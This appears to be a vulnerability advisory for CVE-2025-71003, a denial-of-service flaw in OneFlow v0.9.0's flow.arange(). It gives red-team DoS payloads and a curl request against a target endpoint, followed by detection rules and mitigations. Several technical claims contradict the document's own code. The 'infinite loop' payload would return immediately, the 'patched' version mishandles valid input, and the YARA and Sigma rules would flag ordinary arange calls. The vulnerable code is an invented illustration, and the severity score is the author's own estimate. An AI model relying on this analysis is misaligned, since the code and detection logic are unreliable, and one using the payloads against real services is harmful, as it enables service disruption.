CVE-2025-71003

Executive Summary

CVE-2025-71003 is a high-severity input validation vulnerability in the flow.arange() component of OneFlow v0.9.0. This flaw allows an attacker to craft a malicious input that triggers a Denial of Service (DoS) condition, potentially crashing the application or consuming excessive resources. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using this version of OneFlow.

Supply Chain & Package Security

OneFlow is a deep learning framework distributed via PyPI. Organizations using OneFlow v0.9.0 should verify the integrity of their package installations and monitor for any suspicious updates or dependencies. The lack of a patch or advisory from the vendor increases the risk of supply chain attacks, as malicious actors could potentially exploit this vulnerability in unpatched environments.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, but based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) – No data breach.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High (7.5) – Due to remote exploitability and potential for service disruption.

Deep Dive & Mechanics

The vulnerability resides in the flow.arange() function, which generates a sequence of numbers. The function fails to properly validate input parameters, such as start, stop, and step values. An attacker can supply crafted inputs (e.g., extremely large numbers, negative step values with improper bounds, or non-numeric types) that cause the function to enter an infinite loop, allocate excessive memory, or trigger a crash.

Technical Details:

• Root Cause: Lack of input sanitization in the flow.arange() implementation.
• Attack Vector: Remote, via API calls or model inputs that invoke flow.arange().
• Impact: Denial of Service (DoS) – the application becomes unresponsive or crashes.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

# Example of vulnerable flow.arange() implementation
def arange(start, stop=None, step=1):
    if stop is None:
        stop = start
        start = 0
    # No validation on start, stop, step
    result = []
    i = start
    while i < stop:
        result.append(i)
        i += step
    return result

Patched Code (Hypothetical):

# Example of patched flow.arange() implementation
def arange(start, stop=None, step=1):
    if stop is None:
        stop = start
        start = 0
    # Input validation
    if not all(isinstance(x, (int, float)) for x in [start, stop, step]):
        raise TypeError("All arguments must be numeric")
    if step == 0:
        raise ValueError("Step cannot be zero")
    if (step > 0 and start >= stop) or (step < 0 and start <= stop):
        return []
    # Safe iteration with bounds
    result = []
    i = start
    while (step > 0 and i < stop) or (step < 0 and i > stop):
        result.append(i)
        i += step
        # Add a safety limit to prevent infinite loops
        if len(result) > 1000000:
            raise RuntimeError("Too many elements")
    return result

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install OneFlow v0.9.0: pip install oneflow==0.9.0
2. Create a simple script that exposes the vulnerable function via a web API (e.g., Flask).
3. Craft malicious payloads to trigger DoS.

Exploit Payloads:

# Payload 1: Infinite loop with negative step
import oneflow as flow
flow.arange(0, -1, -1)  # Infinite loop

# Payload 2: Memory exhaustion with large range
flow.arange(0, 10**10, 1)  # Allocates huge list

# Payload 3: Type confusion
flow.arange("a", "b", "c")  # May cause crash

Execution:

# Send malicious request to vulnerable API
curl -X POST http://target:5000/arange -H "Content-Type: application/json" -d '{"start": 0, "stop": -1, "step": -1}'

Blue Team

Detection:

• Monitor for abnormal CPU/memory spikes in OneFlow processes.
• Log all calls to flow.arange() with input parameters.
• Implement rate limiting on API endpoints that use flow.arange().

Mitigation:

• Apply input validation at the application layer before calling flow.arange().
• Use a Web Application Firewall (WAF) to block suspicious payloads.
• Isolate OneFlow processes in containers with resource limits.

Indicators of Compromise (IOCs)

• Network: Unusual traffic to endpoints using flow.arange() with large or negative parameters.
• System: High CPU/memory usage by oneflow processes.
• Logs: Repeated calls to flow.arange() with non-numeric or extreme values.
• File: Temporary files with large arrays in /tmp or OneFlow cache directories.

Detection Engineering

YARA Rule

rule CVE_2025_71003_OneFlow_DoS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-71003 in OneFlow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71003"
    strings:
        $s1 = "flow.arange" ascii wide nocase
        $s2 = "arange" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 5
}

Sigma Rule

title: OneFlow CVE-2025-71003 DoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-71003 via malicious flow.arange() calls
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'flow.arange'
    condition: selection
falsepositives:
    - Legitimate use of arange with normal parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71003 OneFlow DoS Attempt"; flow:to_server; content:"flow.arange"; http_client_body; pcre:"/(start|stop|step)\s*:\s*[^0-9\-\.]/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OneFlow v0.9.0 instances from untrusted networks.
2. Implement input validation for all parameters passed to flow.arange().
3. Monitor logs for suspicious activity and apply rate limiting.

Long-term Fix:

• Upgrade to a patched version of OneFlow once available.
• Apply vendor-supplied patches or workarounds.
• Consider using alternative deep learning frameworks if no patch is released.

Workaround:

• Wrap flow.arange() calls in a try-except block to catch exceptions and prevent crashes.
• Use a custom wrapper function that validates inputs before calling the vulnerable function.

def safe_arange(start, stop=None, step=1):
    if stop is None:
        stop = start
        start = 0
    if not all(isinstance(x, (int, float)) for x in [start, stop, step]):
        raise TypeError("Invalid input")
    if step == 0:
        raise ValueError("Step cannot be zero")
    if (step > 0 and start >= stop) or (step < 0 and start <= stop):
        return []
    return flow.arange(start, stop, step)

Valters IT
DevSecOps & Cyber Threat Intelligence Expert